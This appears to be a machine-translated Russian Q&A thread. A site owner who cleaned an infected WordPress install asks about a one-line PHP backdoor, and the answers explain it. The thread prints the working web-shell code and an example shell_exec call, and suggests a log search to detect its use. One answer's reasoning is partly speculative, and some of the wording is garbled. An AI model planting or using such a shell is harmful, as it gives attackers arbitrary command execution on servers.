Я извлек это из WordPress-сайта, который оказался зараженным и вычищен мной.
<?php ($_=@$_GET[page]).@$_($_POST[404]);?>
Я подозреваю, что эта строка является SEO-спамом, но я не могу понять смысл этой строки.
Это оболочка PHP. Если переписать его на URL file.php? 2 = shell_exec&1 = whoami выполняет команду whoami на оболочке. В вашем примере, один параметр передается POST, один — GET. Так что немного сложнее позвонить.
Вы также можете вызывать другие функции с ним. Первый параметр — это всегда имя функции, второй — параметр для вызываемой функции.
Видимо это объясняется на http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) но сайт не загружается для меня.
/ edit: Если у вас есть доступ к файлам журнала сервера, вы можете найти их, чтобы узнать, использовал ли хакер эту оболочку. Простой егрепет «(&| \?) 2 =. + «Журналы * в оболочке должны работать. Вы видите только половину выполненной команды (только GET, а не POST), но, возможно, это помогает увидеть, действительно ли злоумышленник использовал свой сценарий.
PS: что ответили раньше здесь
Давайте разберем это немного:
($_=@$_GET[page])
.
@$_($_POST[404]);
Во-первых, два выражения объединяются с точкой: ()
.
()
,
В первом выражении $_
=
$_GET[page]
, $_
является переменной и присваивается =
к переменной $_GET['page']
или, возможно, вывод анонимной функции, на которую она ссылается. Если $_GET[page]
ссылается на анонимную функцию, @
будет подавлять любые ошибки от него.
Второе выражение, @
$_(
$_POST[404]
);
начинается с подавления ошибок @
анонимной функции $_
Теперь вы можете сказать, что вызывается анонимная функция, потому что (
, Аргумент, переданный этой функции: $_POST['404']
, а затем вторые скобки просто закрывают вызов.
Поэтому я думаю, что ваши подозрения верны; это похоже на запутанный код, предназначенный, чтобы выглядеть безобидным или частью сайта. Я подозреваю, что значения для $_GET[page]
а также $_POST[404]
Возможно, это строки javascript, чье отображение на странице приведет к установке вредоносного или рекламного ПО.
Вы можете отладить это больше, посмотрев на значения этих двух переменных и увидев, что они из себя представляют.
Как я могу сказать, не зная значений в GET и POST, это выглядит как переменная $_
присваивается строке $_GET[page]
, что будет то, что кто-то отправляет в URL, когда они загружают страницу. Таким образом, они могут передать имя строки любой функция на сайт и иметь его в рамках PHP.
Затем они запускают эту произвольную функцию на $_POST['404']
значение. Это значение также является любым браузером или пользователем POST
с на страницу.
Конкатенация и внешняя скобка ().()
может быть просто больше запутывания, или смысл этого кода может состоять в том, чтобы просто повторить результаты этого кода на странице (например, для вставки javascript). Но также возможно, что они вызывают любую функцию, какую захотят, на любой аргумент, который они передали. Я не могу сказать, просто посмотрев, но кто-то, более знакомый с PHP, вероятно, мог бы.